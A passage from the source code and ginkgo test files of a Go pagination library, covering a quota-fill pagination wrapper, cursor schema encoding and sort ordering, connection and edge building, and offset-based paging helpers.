state.iteration+1, err) 208 | return "" 209 | } 210 | } 211 | 212 | // Get orderBy from schema 213 | var orderBy []paging.Sort 214 | if w.schema != nil { 215 | orderBy = w.schema.BuildOrderBy(getSortBy(args)) 216 | } 217 | 218 | fetchParams := paging.FetchParams{ 219 | Limit: fetchSize, 220 | Cursor: cursorPos, 221 | OrderBy: orderBy, 222 | } 223 | 224 | items, err := w.fetcher.Fetch(ctx, fetchParams) 225 | if err != nil { 226 | if errors.Is(err, context.DeadlineExceeded) { 227 | return safeguardTimeout 228 | } 229 | state.lastError = fmt.Errorf("fetch batch (iteration %d): %w", state.iteration+1, err) 230 | return "" 231 | } 232 | 233 | hasNext := len(items) >= fetchSize 234 | 235 | trimmedItems := items 236 | if len(items) > batchSize { 237 | trimmedItems = items[:batchSize] 238 | } 239 | 240 | filtered, err := w.filter(ctx, trimmedItems) 241 | if err != nil { 242 | state.lastError = fmt.Errorf("apply filter (iteration %d): %w", state.iteration+1, err) 243 | return "" 244 | } 245 | 246 | state.filteredItems = append(state.filteredItems, filtered...) 247 | state.examinedCount += len(trimmedItems) 248 | state.iteration++ 249 | 250 | if !hasNext { 251 | state.noMoreData = true 252 | return "" 253 | } 254 | 255 | // Encode cursor from last EXAMINED item (not last filtered item) 256 | // This ensures we continue from where we left off in the database scan 257 | if w.schema != nil && len(trimmedItems) > 0 { 258 | encoder, err := w.schema.EncoderFor(argsForEncoder(args)) 259 | if err != nil { 260 | state.lastError = fmt.Errorf("get encoder for cursor (iteration %d): %w", state.iteration, err) 261 | return "" 262 | } 263 | 264 | lastExaminedItem := trimmedItems[len(trimmedItems)-1] 265 | cursor, err := encoder.Encode(lastExaminedItem) 266 | if err != nil { 267 | state.lastError = fmt.Errorf("encode cursor from examined item (iteration %d): %w", state.iteration, err) 268 | return "" 269 | } 270 | state.currentCursor = cursor 271 | } 272 | 273 | return "" 274 | } 275 | 276 | func (w *Wrapper[T]) buildResult( 277 | state *paginationState[T], 278 | args *paging.PageArgs, 279 | requestedSize int, 280 | startTime time.Time, 281 | ) *paging.Page[T] { 282 | hasNextPage := len(state.filteredItems) > requestedSize 283 | 284 | resultItems := state.filteredItems 285 | if len(resultItems) > requestedSize { 286 | resultItems = resultItems[:requestedSize] 287 | } 288 | 289 | pageInfo := buildPageInfo(args, hasNextPage, resultItems, w.schema) 290 | 291 | return &paging.Page[T]{ 292 | Nodes: resultItems, 293 | PageInfo: &pageInfo, 294 | Metadata: paging.Metadata{ 295 | Strategy: "quotafill", 296 | QueryTimeMs: time.Since(startTime).Milliseconds(), 297 | ItemsExamined: state.examinedCount, 298 | IterationsUsed: state.iteration, 299 | SafeguardHit: state.safeguardHit, 300 | }, 301 | } 302 | } 303 | 304 | func stringPtr(s string) *string { 305 | return &s 306 | } 307 | 308 | // argsForEncoder extracts just the SortBy from args for encoder creation. 309 | func argsForEncoder(args *paging.PageArgs) *paging.PageArgs { 310 | if args == nil || args.GetSortBy() == nil { 311 | return &paging.PageArgs{} 312 | } 313 | return &paging.PageArgs{SortBy: args.GetSortBy()} 314 | } 315 | 316 | // getSortBy safely extracts SortBy from args. 317 | func getSortBy(args *paging.PageArgs) []paging.Sort { 318 | if args == nil || args.GetSortBy() == nil { 319 | return nil 320 | } 321 | return args.GetSortBy() 322 | } 323 | 324 | func buildPageInfo[T any]( 325 | args *paging.PageArgs, 326 | hasNextPage bool, 327 | items []T, 328 | schema *cursor.Schema[T], 329 | ) paging.PageInfo { 330 | return paging.PageInfo{ 331 | TotalCount: func() (*int, error) { return nil, nil }, 332 | StartCursor: func() (*string, error) { 333 | if schema == nil || len(items) == 0 { 334 | return nil, nil 335 | } 336 | encoder, err := schema.EncoderFor(argsForEncoder(args)) 337 | if err != nil { 338 | return nil, err 339 | } 340 | return encoder.Encode(items[0]) 341 | }, 342 | EndCursor: func() (*string, error) { 343 | if schema == nil || len(items) == 0 { 344 | return nil, nil 345 | } 346 | encoder, err := schema.EncoderFor(argsForEncoder(args)) 347 | if err != nil { 348 | return nil, err 349 | } 350 | return encoder.Encode(items[len(items)-1]) 351 | }, 352 | HasNextPage: func() (bool, error) { return hasNextPage, nil }, 353 | HasPreviousPage: func() (bool, error) { 354 | return args != nil && args.GetAfter() != nil, nil 355 | }, 356 | } 357 | } 358 | -------------------------------------------------------------------------------- /cursor/schema_test.go: -------------------------------------------------------------------------------- 1 | package cursor_test 2 | 3 | import ( 4 | "time" 5 | 6 | "github.com/nrfta/paging-go/v2" 7 | "github.com/nrfta/paging-go/v2/cursor" 8 | 9 | . "github.com/onsi/ginkgo/v2" 10 | . "github.com/onsi/gomega" 11 | ) 12 | 13 | var _ = Describe("Schema", func() { 14 | var schema *cursor.Schema[*testUser] 15 | 16 | BeforeEach(func() { 17 | // Create schema with fixed fields before and after user-sortable fields 18 | schema = cursor.NewSchema[*testUser](). 19 | FixedField("tenant_id", cursor.ASC, "t", func(u *testUser) any { 20 | return u.TenantID 21 | }). 22 | Field("name", "n", func(u *testUser) any { 23 | return u.Name 24 | }). 25 | Field("email", "e", func(u *testUser) any { 26 | return u.Email 27 | }). 28 | Field("created_at", "c", func(u *testUser) any { 29 | return u.CreatedAt 30 | }). 31 | FixedField("id", cursor.DESC, "i", func(u *testUser) any { 32 | return u.ID 33 | }) 34 | }) 35 | 36 | Describe("EncoderFor", func() { 37 | It("should accept valid sort fields", func() { 38 | pageArgs := &paging.PageArgs{ 39 | SortBy: []paging.Sort{ 40 | {Column: "name", Desc: true}, 41 | }, 42 | } 43 | 44 | encoder, err := schema.EncoderFor(pageArgs) 45 | 46 | Expect(err).ToNot(HaveOccurred()) 47 | Expect(encoder).ToNot(BeNil()) 48 | }) 49 | 50 | It("should accept multiple valid sort fields", func() { 51 | pageArgs := &paging.PageArgs{ 52 | SortBy: []paging.Sort{ 53 | {Column: "created_at", Desc: true}, 54 | {Column: "name", Desc: false}, 55 | }, 56 | } 57 | 58 | encoder, err := schema.EncoderFor(pageArgs) 59 | 60 | Expect(err).ToNot(HaveOccurred()) 61 | Expect(encoder).ToNot(BeNil()) 62 | }) 63 | 64 | It("should reject invalid sort fields", func() { 65 | pageArgs := &paging.PageArgs{ 66 | SortBy: []paging.Sort{ 67 | {Column: "invalid_field", Desc: true}, 68 | }, 69 | } 70 | 71 | encoder, err := schema.EncoderFor(pageArgs) 72 | 73 | Expect(err).To(HaveOccurred()) 74 | Expect(err.Error()).To(ContainSubstring("invalid sort field: invalid_field")) 75 | Expect(encoder).To(BeNil()) 76 | }) 77 | 78 | It("should work with nil PageArgs", func() { 79 | encoder, err := schema.EncoderFor(nil) 80 | 81 | Expect(err).ToNot(HaveOccurred()) 82 | Expect(encoder).ToNot(BeNil()) 83 | }) 84 | 85 | It("should work with empty SortBy", func() { 86 | pageArgs := &paging.PageArgs{ 87 | SortBy: []paging.Sort{}, 88 | } 89 | 90 | encoder, err := schema.EncoderFor(pageArgs) 91 | 92 | Expect(err).ToNot(HaveOccurred()) 93 | Expect(encoder).ToNot(BeNil()) 94 | }) 95 | }) 96 | 97 | Describe("BuildOrderBy", func() { 98 | It("should prepend fixed fields that come before user-sortable fields", func() { 99 | userSorts := []paging.Sort{ 100 | {Column: "name", Desc: true}, 101 | } 102 | 103 | orderBy := schema.BuildOrderBy(userSorts) 104 | 105 | Expect(orderBy).To(HaveLen(3)) 106 | Expect(orderBy[0].Column).To(Equal("tenant_id")) 107 | Expect(orderBy[0].Desc).To(BeFalse()) // ASC 108 | Expect(orderBy[1].Column).To(Equal("name")) 109 | Expect(orderBy[1].Desc).To(BeTrue()) // DESC 110 | Expect(orderBy[2].Column).To(Equal("id")) 111 | Expect(orderBy[2].Desc).To(BeTrue()) // DESC 112 | }) 113 | 114 | It("should append fixed fields that come after user-sortable fields", func() { 115 | userSorts := []paging.Sort{ 116 | {Column: "email", Desc: false}, 117 | } 118 | 119 | orderBy := schema.BuildOrderBy(userSorts) 120 | 121 | Expect(orderBy).To(HaveLen(3)) 122 | Expect(orderBy[0].Column).To(Equal("tenant_id")) 123 | Expect(orderBy[1].Column).To(Equal("email")) 124 | Expect(orderBy[2].Column).To(Equal("id")) 125 | }) 126 | 127 | It("should handle multiple user sorts", func() { 128 | userSorts := []paging.Sort{ 129 | {Column: "created_at", Desc: true}, 130 | {Column: "name", Desc: false}, 131 | } 132 | 133 | orderBy := schema.BuildOrderBy(userSorts) 134 | 135 | Expect(orderBy).To(HaveLen(4)) 136 | Expect(orderBy[0].Column).To(Equal("tenant_id")) 137 | Expect(orderBy[1].Column).To(Equal("created_at")) 138 | Expect(orderBy[2].Column).To(Equal("name")) 139 | Expect(orderBy[3].Column).To(Equal("id")) 140 | }) 141 | 142 | It("should handle empty user sorts", func() { 143 | userSorts := []paging.Sort{} 144 | 145 | orderBy := schema.BuildOrderBy(userSorts) 146 | 147 | // Should only include fixed fields 148 | Expect(orderBy).To(HaveLen(2)) 149 | Expect(orderBy[0].Column).To(Equal("tenant_id")) 150 | Expect(orderBy[1].Column).To(Equal("id")) 151 | }) 152 | }) 153 | 154 | Describe("Cursor Encoding/Decoding", func() { 155 | var ( 156 | user *testUser 157 | encoder paging.CursorEncoder[*testUser] 158 | ) 159 | 160 | BeforeEach(func() { 161 | user = &testUser{ 162 | ID: "user-123", 163 | Name: "Alice", 164 | Email: "alice@example.com", 165 | CreatedAt: time.Date(2024, 1, 1, 0, 0, 0, 0, time.UTC), 166 | TenantID: 42, 167 | } 168 | 169 | pageArgs := &paging.PageArgs{ 170 | SortBy: []paging.Sort{ 171 | {Column: "name", Desc: true}, 172 | }, 173 | } 174 | 175 | var err error 176 | encoder, err = schema.EncoderFor(pageArgs) 177 | Expect(err).ToNot(HaveOccurred()) 178 | }) 179 | 180 | It("should use short cursor keys to prevent information leakage", func() { 181 | cursor, err := encoder.Encode(user) 182 | 183 | Expect(err).ToNot(HaveOccurred()) 184 | Expect(cursor).ToNot(BeNil()) 185 | 186 | // Decode the cursor to inspect its contents 187 | decoded, err := encoder.Decode(*cursor) 188 | 189 | Expect(err).ToNot(HaveOccurred()) 190 | Expect(decoded).ToNot(BeNil()) 191 | 192 | // Verify cursor uses full column names internally 193 | Expect(decoded.Values).To(HaveKey("tenant_id")) 194 | Expect(decoded.Values).To(HaveKey("name")) 195 | Expect(decoded.Values).To(HaveKey("id")) 196 | 197 | // Verify it does NOT contain short keys 198 | Expect(decoded.Values).ToNot(HaveKey("t")) 199 | Expect(decoded.Values).ToNot(HaveKey("n")) 200 | Expect(decoded.Values).ToNot(HaveKey("i")) 201 | }) 202 | 203 | It("should encode fixed fields in cursor", func() { 204 | cursor, err := encoder.Encode(user) 205 | Expect(err).ToNot(HaveOccurred()) 206 | 207 | decoded, err := encoder.Decode(*cursor) 208 | Expect(err).ToNot(HaveOccurred()) 209 | 210 | // Fixed fields should be included 211 | Expect(decoded.Values["tenant_id"]).To(Equal(float64(42))) // JSON numbers are float64 212 | Expect(decoded.Values["id"]).To(Equal("user-123")) 213 | }) 214 | 215 | It("should encode user-sortable fields in cursor", func() { 216 | cursor, err := encoder.Encode(user) 217 | Expect(err).ToNot(HaveOccurred()) 218 | 219 | decoded, err := encoder.Decode(*cursor) 220 | Expect(err).ToNot(HaveOccurred()) 221 | 222 | // User sort field should be included 223 | Expect(decoded.Values["name"]).To(Equal("Alice")) 224 | }) 225 | 226 | It("should handle invalid cursor format", func() { 227 | _, err := encoder.Decode("not-valid-base64!!!") 228 | Expect(err).To(HaveOccurred()) 229 | Expect(err.Error()).To(ContainSubstring("invalid cursor")) 230 | }) 231 | }) 232 | 233 | Describe("Dynamic Sorting", func() { 234 | It("should support changing sort field at runtime", func() { 235 | // First query: Sort by name 236 | pageArgs1 := &paging.PageArgs{ 237 | SortBy: []paging.Sort{ 238 | {Column: "name", Desc: true}, 239 | }, 240 | } 241 | 242 | encoder1, err := schema.EncoderFor(pageArgs1) 243 | Expect(err).ToNot(HaveOccurred()) 244 | 245 | orderBy1 := schema.BuildOrderBy(pageArgs1.SortBy) 246 | Expect(orderBy1[1].Column).To(Equal("name")) 247 | 248 | // Second query: Sort by email 249 | pageArgs2 := &paging.PageArgs{ 250 | SortBy: []paging.Sort{ 251 | {Column: "email", Desc: false}, 252 | }, 253 | } 254 | 255 | encoder2, err := schema.EncoderFor(pageArgs2) 256 | Expect(err).ToNot(HaveOccurred()) 257 | 258 | orderBy2 := schema.BuildOrderBy(pageArgs2.SortBy) 259 | Expect(orderBy2[1].Column).To(Equal("email")) 260 | 261 | // Encoders should be different 262 | Expect(encoder1).ToNot(Equal(encoder2)) 263 | }) 264 | }) 265 | 266 | Describe("JOIN Query Support", func() { 267 | type userWithPost struct { 268 | UserID string 269 | UserName string 270 | PostID string 271 | PostCreatedAt time.Time 272 | } 273 | 274 | It("should support qualified column names for JOINs", func() { 275 | joinSchema := cursor.NewSchema[*userWithPost](). 276 | Field("posts.created_at", "pc", func(uwp *userWithPost) any { 277 | return uwp.PostCreatedAt 278 | }). 279 | Field("users.name", "un", func(uwp *userWithPost) any { 280 | return uwp.UserName 281 | }). 282 | FixedField("posts.id", cursor.DESC, "pi", func(uwp *userWithPost) any { 283 | return uwp.PostID 284 | }) 285 | 286 | pageArgs := &paging.PageArgs{ 287 | SortBy: []paging.Sort{ 288 | {Column: "users.name", Desc: false}, 289 | }, 290 | } 291 | 292 | encoder, err := joinSchema.EncoderFor(pageArgs) 293 | Expect(err).ToNot(HaveOccurred()) 294 | 295 | orderBy := joinSchema.BuildOrderBy(pageArgs.SortBy) 296 | Expect(orderBy).To(HaveLen(2)) 297 | Expect(orderBy[0].Column).To(Equal("users.name")) 298 | Expect(orderBy[1].Column).To(Equal("posts.id")) 299 | 300 | // Test encoding 301 | item := &userWithPost{ 302 | UserID: "user-1", 303 | UserName: "Alice", 304 | PostID: "post-1", 305 | PostCreatedAt: time.Date(2024, 1, 1, 0, 0, 0, 0, time.UTC), 306 | } 307 | 308 | cursor, err := encoder.Encode(item) 309 | Expect(err).ToNot(HaveOccurred()) 310 | 311 | // Decode and verify qualified column names are preserved 312 | decoded, err := encoder.Decode(*cursor) 313 | Expect(err).ToNot(HaveOccurred()) 314 | Expect(decoded.Values).To(HaveKey("users.name")) 315 | Expect(decoded.Values).To(HaveKey("posts.id")) 316 | 317 | // Short keys should NOT appear 318 | Expect(decoded.Values).ToNot(HaveKey("un")) 319 | Expect(decoded.Values).ToNot(HaveKey("pi")) 320 | }) 321 | }) 322 | 323 | Describe("Schema with Only Fixed Fields", func() { 324 | It("should work when all fields are fixed", func() { 325 | fixedOnlySchema := cursor.NewSchema[*testUser](). 326 | FixedField("tenant_id", cursor.ASC, "t", func(u *testUser) any { 327 | return u.TenantID 328 | }). 329 | FixedField("created_at", cursor.DESC, "c", func(u *testUser) any { 330 | return u.CreatedAt 331 | }). 332 | FixedField("id", cursor.DESC, "i", func(u *testUser) any { 333 | return u.ID 334 | }) 335 | 336 | // No user sorts 337 | encoder, err := fixedOnlySchema.EncoderFor(nil) 338 | Expect(err).ToNot(HaveOccurred()) 339 | 340 | orderBy := fixedOnlySchema.BuildOrderBy([]paging.Sort{}) 341 | Expect(orderBy).To(HaveLen(3)) 342 | Expect(orderBy[0].Column).To(Equal("tenant_id")) 343 | Expect(orderBy[1].Column).To(Equal("created_at")) 344 | Expect(orderBy[2].Column).To(Equal("id")) 345 | 346 | // Test encoding 347 | user := &testUser{ 348 | ID: "user-1", 349 | TenantID: 42, 350 | CreatedAt: time.Date(2024, 1, 1, 0, 0, 0, 0, time.UTC), 351 | } 352 | 353 | cursor, err := encoder.Encode(user) 354 | Expect(err).ToNot(HaveOccurred()) 355 | Expect(cursor).ToNot(BeNil()) 356 | 357 | decoded, err := encoder.Decode(*cursor) 358 | Expect(err).ToNot(HaveOccurred()) 359 | Expect(decoded.Values).To(HaveKey("tenant_id")) 360 | Expect(decoded.Values).To(HaveKey("created_at")) 361 | Expect(decoded.Values).To(HaveKey("id")) 362 | }) 363 | }) 364 | }) 365 | -------------------------------------------------------------------------------- /connection_test.go: -------------------------------------------------------------------------------- 1 | package paging_test 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | 7 | . "github.com/onsi/ginkgo/v2" 8 | . "github.com/onsi/gomega" 9 | 10 | "github.com/nrfta/paging-go/v2" 11 | "github.com/nrfta/paging-go/v2/offset" 12 | ) 13 | 14 | // Mock database models 15 | type DBUser struct { 16 | ID int 17 | Name string 18 | Email string 19 | CreatedAt string 20 | } 21 | 22 | // Mock domain models 23 | type DomainUser struct { 24 | ID string 25 | FullName string 26 | EmailAddr string 27 | } 28 | 29 | // mockOffsetFetcher creates a simple in-memory fetcher for testing 30 | func mockOffsetFetcher(allUsers []DBUser, totalCount int64) paging.Fetcher[DBUser] { 31 | return &offsetTestFetcher{ 32 | allUsers: allUsers, 33 | totalCount: totalCount, 34 | } 35 | } 36 | 37 | type offsetTestFetcher struct { 38 | allUsers []DBUser 39 | totalCount int64 40 | } 41 | 42 | func (f *offsetTestFetcher) Fetch(ctx context.Context, params paging.FetchParams) ([]DBUser, error) { 43 | start := params.Offset 44 | end := start + params.Limit 45 | if start >= len(f.allUsers) { 46 | return []DBUser{}, nil 47 | } 48 | if end > len(f.allUsers) { 49 | end = len(f.allUsers) 50 | } 51 | return f.allUsers[start:end], nil 52 | } 53 | 54 | func (f *offsetTestFetcher) Count(ctx context.Context, params paging.FetchParams) (int64, error) { 55 | return f.totalCount, nil 56 | } 57 | 58 | var _ = Describe("Connection and Edge", func() { 59 | var ctx context.Context 60 | 61 | BeforeEach(func() { 62 | ctx = context.Background() 63 | }) 64 | 65 | Describe("BuildConnection", func() { 66 | It("should build a connection with edges and nodes", func() { 67 | // Setup: Create mock database records 68 | dbUsers := []DBUser{ 69 | {ID: 1, Name: "Alice", Email: "alice@example.com"}, 70 | {ID: 2, Name: "Bob", Email: "bob@example.com"}, 71 | {ID: 3, Name: "Charlie", Email: "charlie@example.com"}, 72 | } 73 | 74 | // Setup: Create mock PageInfo 75 | pageInfo := paging.PageInfo{ 76 | HasNextPage: func() (bool, error) { return true, nil }, 77 | HasPreviousPage: func() (bool, error) { return false, nil }, 78 | StartCursor: func() (*string, error) { c := "cursor:0"; return &c, nil }, 79 | EndCursor: func() (*string, error) { c := "cursor:3"; return &c, nil }, 80 | TotalCount: func() (*int, error) { count := 100; return &count, nil }, 81 | } 82 | 83 | // Setup: Define transform function 84 | transform := func(db DBUser) (*DomainUser, error) { 85 | return &DomainUser{ 86 | ID: fmt.Sprintf("user-%d", db.ID), 87 | FullName: db.Name, 88 | EmailAddr: db.Email, 89 | }, nil 90 | } 91 | 92 | // Setup: Define cursor encoder 93 | cursorEncoder := func(i int, db DBUser) string { 94 | return fmt.Sprintf("cursor:%d", db.ID) 95 | } 96 | 97 | // Execute: Build connection 98 | conn, err := paging.BuildConnection(dbUsers, pageInfo, cursorEncoder, transform) 99 | 100 | // Assert: No error 101 | Expect(err).ToNot(HaveOccurred()) 102 | Expect(conn).ToNot(BeNil()) 103 | 104 | // Assert: Nodes are correctly transformed 105 | Expect(conn.Nodes).To(HaveLen(3)) 106 | Expect(conn.Nodes[0].ID).To(Equal("user-1")) 107 | Expect(conn.Nodes[0].FullName).To(Equal("Alice")) 108 | Expect(conn.Nodes[1].ID).To(Equal("user-2")) 109 | Expect(conn.Nodes[2].ID).To(Equal("user-3")) 110 | 111 | // Assert: Edges are correctly built 112 | Expect(conn.Edges).To(HaveLen(3)) 113 | Expect(conn.Edges[0].Cursor).To(Equal("cursor:1")) 114 | Expect(conn.Edges[0].Node).To(Equal(conn.Nodes[0])) 115 | Expect(conn.Edges[1].Cursor).To(Equal("cursor:2")) 116 | Expect(conn.Edges[2].Cursor).To(Equal("cursor:3")) 117 | 118 | // Assert: PageInfo is attached and functional 119 | hasNext, _ := conn.PageInfo.HasNextPage() 120 | hasPrev, _ := conn.PageInfo.HasPreviousPage() 121 | totalCount, _ := conn.PageInfo.TotalCount() 122 | Expect(hasNext).To(BeTrue()) 123 | Expect(hasPrev).To(BeFalse()) 124 | Expect(*totalCount).To(Equal(100)) 125 | }) 126 | 127 | It("should handle empty result set", func() { 128 | dbUsers := []DBUser{} 129 | pageInfo := paging.PageInfo{ 130 | HasNextPage: func() (bool, error) { return false, nil }, 131 | HasPreviousPage: func() (bool, error) { return false, nil }, 132 | TotalCount: func() (*int, error) { count := 0; return &count, nil }, 133 | } 134 | 135 | transform := func(db DBUser) (*DomainUser, error) { 136 | return &DomainUser{}, nil 137 | } 138 | 139 | cursorEncoder := func(i int, db DBUser) string { 140 | return fmt.Sprintf("cursor:%d", db.ID) 141 | } 142 | 143 | conn, err := paging.BuildConnection(dbUsers, pageInfo, cursorEncoder, transform) 144 | 145 | Expect(err).ToNot(HaveOccurred()) 146 | Expect(conn.Nodes).To(BeEmpty()) 147 | Expect(conn.Edges).To(BeEmpty()) 148 | }) 149 | 150 | It("should propagate transform errors", func() { 151 | dbUsers := []DBUser{ 152 | {ID: 1, Name: "Alice", Email: "alice@example.com"}, 153 | {ID: 2, Name: "Bob", Email: "invalid"}, 154 | } 155 | 156 | pageInfo := paging.PageInfo{} 157 | 158 | // Transform that fails on invalid email 159 | transform := func(db DBUser) (*DomainUser, error) { 160 | if db.Email == "invalid" { 161 | return nil, fmt.Errorf("invalid email: %s", db.Email) 162 | } 163 | return &DomainUser{ 164 | ID: fmt.Sprintf("user-%d", db.ID), 165 | FullName: db.Name, 166 | EmailAddr: db.Email, 167 | }, nil 168 | } 169 | 170 | cursorEncoder := func(i int, db DBUser) string { 171 | return fmt.Sprintf("cursor:%d", db.ID) 172 | } 173 | 174 | conn, err := paging.BuildConnection(dbUsers, pageInfo, cursorEncoder, transform) 175 | 176 | Expect(err).To(HaveOccurred()) 177 | Expect(err.Error()).To(ContainSubstring("transform item at index 1")) 178 | Expect(err.Error()).To(ContainSubstring("invalid email")) 179 | Expect(conn).To(BeNil()) 180 | }) 181 | }) 182 | 183 | Describe("offset.BuildConnection", func() { 184 | It("should build connection with offset-based cursors", func() { 185 | // Setup: Create mock data 186 | allUsers := []DBUser{ 187 | {ID: 1, Name: "Alice", Email: "alice@example.com"}, 188 | {ID: 2, Name: "Bob", Email: "bob@example.com"}, 189 | {ID: 3, Name: "Charlie", Email: "charlie@example.com"}, 190 | {ID: 4, Name: "Diana", Email: "diana@example.com"}, 191 | {ID: 5, Name: "Eve", Email: "eve@example.com"}, 192 | } 193 | 194 | // Create paginator with fetcher 195 | fetcher := mockOffsetFetcher(allUsers, 10) 196 | paginator := offset.New(fetcher) 197 | 198 | // Paginate first page (2 items) 199 | first := 2 200 | pageArgs := &paging.PageArgs{First: &first} 201 | 202 | page, err := paginator.Paginate(ctx, pageArgs) 203 | Expect(err).ToNot(HaveOccurred()) 204 | Expect(page.Nodes).To(HaveLen(2)) 205 | 206 | // Setup: Transform function 207 | transform := func(db DBUser) (*DomainUser, error) { 208 | return &DomainUser{ 209 | ID: fmt.Sprintf("user-%d", db.ID), 210 | FullName: db.Name, 211 | EmailAddr: db.Email, 212 | }, nil 213 | } 214 | 215 | // Execute: Build connection using offset helper 216 | conn, err := offset.BuildConnection(page, transform) 217 | 218 | // Assert: No error 219 | Expect(err).ToNot(HaveOccurred()) 220 | Expect(conn).ToNot(BeNil()) 221 | 222 | // Assert: Nodes are transformed 223 | Expect(conn.Nodes).To(HaveLen(2)) 224 | Expect(conn.Nodes[0].ID).To(Equal("user-1")) 225 | Expect(conn.Nodes[1].ID).To(Equal("user-2")) 226 | 227 | // Assert: Edges have sequential cursors 228 | Expect(conn.Edges).To(HaveLen(2)) 229 | cursor1 := offset.DecodeCursor(&conn.Edges[0].Cursor) 230 | cursor2 := offset.DecodeCursor(&conn.Edges[1].Cursor) 231 | Expect(cursor1).To(Equal(1)) 232 | Expect(cursor2).To(Equal(2)) 233 | 234 | // Assert: PageInfo metadata 235 | hasNext, _ := conn.PageInfo.HasNextPage() 236 | Expect(hasNext).To(BeTrue()) 237 | totalCountPtr, _ := conn.PageInfo.TotalCount() 238 | Expect(*totalCountPtr).To(Equal(10)) 239 | }) 240 | 241 | It("should handle second page with offset", func() { 242 | // Setup: Create mock data 243 | allUsers := []DBUser{ 244 | {ID: 1, Name: "Alice", Email: "alice@example.com"}, 245 | {ID: 2, Name: "Bob", Email: "bob@example.com"}, 246 | {ID: 3, Name: "Charlie", Email: "charlie@example.com"}, 247 | {ID: 4, Name: "Diana", Email: "diana@example.com"}, 248 | {ID: 5, Name: "Eve", Email: "eve@example.com"}, 249 | } 250 | 251 | // Create paginator 252 | fetcher := mockOffsetFetcher(allUsers, 10) 253 | paginator := offset.New(fetcher) 254 | 255 | // Paginate second page (starting at offset 2) 256 | first := 2 257 | cursor := offset.EncodeCursor(2) 258 | pageArgs := &paging.PageArgs{ 259 | First: &first, 260 | After: cursor, 261 | } 262 | 263 | page, err := paginator.Paginate(ctx, pageArgs) 264 | Expect(err).ToNot(HaveOccurred()) 265 | Expect(page.Nodes).To(HaveLen(2)) 266 | Expect(page.Nodes[0].ID).To(Equal(3)) // 3rd user (offset 2) 267 | Expect(page.Nodes[1].ID).To(Equal(4)) // 4th user (offset 3) 268 | 269 | transform := func(db DBUser) (*DomainUser, error) { 270 | return &DomainUser{ 271 | ID: fmt.Sprintf("user-%d", db.ID), 272 | FullName: db.Name, 273 | }, nil 274 | } 275 | 276 | conn, err := offset.BuildConnection(page, transform) 277 | 278 | Expect(err).ToNot(HaveOccurred()) 279 | 280 | // Assert: Cursors account for offset 281 | cursor1 := offset.DecodeCursor(&conn.Edges[0].Cursor) 282 | cursor2 := offset.DecodeCursor(&conn.Edges[1].Cursor) 283 | Expect(cursor1).To(Equal(3)) // offset 2 + index 0 + 1 284 | Expect(cursor2).To(Equal(4)) // offset 2 + index 1 + 1 285 | }) 286 | }) 287 | 288 | Describe("Real-world use case", func() { 289 | It("should eliminate repository boilerplate", func() { 290 | // Setup: Create mock data 291 | allUsers := []DBUser{ 292 | {ID: 1, Name: "Alice", Email: "alice@example.com"}, 293 | {ID: 2, Name: "Bob", Email: "bob@example.com"}, 294 | {ID: 3, Name: "Charlie", Email: "charlie@example.com"}, 295 | {ID: 4, Name: "Diana", Email: "diana@example.com"}, 296 | {ID: 5, Name: "Eve", Email: "eve@example.com"}, 297 | } 298 | 299 | fetcher := mockOffsetFetcher(allUsers, 10) 300 | paginator := offset.New(fetcher) 301 | 302 | first := 3 303 | pageArgs := &paging.PageArgs{First: &first} 304 | 305 | page, err := paginator.Paginate(ctx, pageArgs) 306 | Expect(err).ToNot(HaveOccurred()) 307 | 308 | // AFTER: Using BuildConnection (new API) 309 | // This is now the ONLY way to build a connection 310 | conn, err := offset.BuildConnection(page, func(db DBUser) (*DomainUser, error) { 311 | return &DomainUser{ 312 | ID: fmt.Sprintf("user-%d", db.ID), 313 | FullName: db.Name, 314 | EmailAddr: db.Email, 315 | }, nil 316 | }) 317 | 318 | // Assert: Succeeds 319 | Expect(err).ToNot(HaveOccurred()) 320 | 321 | // Assert: Results are correct 322 | Expect(conn.Nodes).To(HaveLen(3)) 323 | Expect(conn.Edges).To(HaveLen(3)) 324 | 325 | Expect(conn.Nodes[0].ID).To(Equal("user-1")) 326 | Expect(conn.Nodes[1].ID).To(Equal("user-2")) 327 | Expect(conn.Nodes[2].ID).To(Equal("user-3")) 328 | 329 | // Verify cursors 330 | cursor1 := offset.DecodeCursor(&conn.Edges[0].Cursor) 331 | cursor2 := offset.DecodeCursor(&conn.Edges[1].Cursor) 332 | cursor3 := offset.DecodeCursor(&conn.Edges[2].Cursor) 333 | Expect(cursor1).To(Equal(1)) 334 | Expect(cursor2).To(Equal(2)) 335 | Expect(cursor3).To(Equal(3)) 336 | 337 | // The key difference: BuildConnection is 1 line vs manual boilerplate of 15+ lines 338 | // This achieves the 60-80% boilerplate reduction mentioned in the research 339 | }) 340 | }) 341 | }) 342 | -------------------------------------------------------------------------------- /page_args_test.go: -------------------------------------------------------------------------------- 1 | package paging_test 2 | 3 | import ( 4 | . "github.com/onsi/ginkgo/v2" 5 | . "github.com/onsi/gomega" 6 | 7 | "github.com/nrfta/paging-go/v2" 8 | ) 9 | 10 | var _ = Describe("PageArgs", func() { 11 | var pa *paging.PageArgs 12 | 13 | BeforeEach(func() { 14 | first := 10 15 | after := "cursor123" 16 | pa = &paging.PageArgs{ 17 | First: &first, 18 | After: &after, 19 | } 20 | }) 21 | 22 | It("should have zero values for basic PageArgs", func() { 23 | Expect(pa.GetSortBy()).To(BeNil()) 24 | }) 25 | 26 | Describe("WithSortBy", func() { 27 | It("should handle a nil PageArgs arg", func() { 28 | pa := paging.WithSortBy(nil, "created_at", true) 29 | Expect(pa).ToNot(BeNil()) 30 | Expect(pa.GetSortBy()).To(HaveLen(1)) 31 | Expect(pa.GetSortBy()[0].Column).To(Equal("created_at")) 32 | Expect(pa.GetSortBy()[0].Desc).To(BeTrue()) 33 | }) 34 | 35 | It("should set single sort field with DESC", func() { 36 | pa = paging.WithSortBy(pa, "name", true) 37 | 38 | Expect(pa.GetSortBy()).To(HaveLen(1)) 39 | Expect(pa.GetSortBy()[0].Column).To(Equal("name")) 40 | Expect(pa.GetSortBy()[0].Desc).To(BeTrue()) 41 | }) 42 | 43 | It("should set single sort field with ASC", func() { 44 | pa = paging.WithSortBy(pa, "email", false) 45 | 46 | Expect(pa.GetSortBy()).To(HaveLen(1)) 47 | Expect(pa.GetSortBy()[0].Column).To(Equal("email")) 48 | Expect(pa.GetSortBy()[0].Desc).To(BeFalse()) 49 | }) 50 | }) 51 | 52 | Describe("WithMultiSort", func() { 53 | It("should handle a nil PageArgs arg", func() { 54 | pa := paging.WithMultiSort(nil, 55 | paging.Sort{Column: "created_at", Desc: true}, 56 | paging.Sort{Column: "id", Desc: false}, 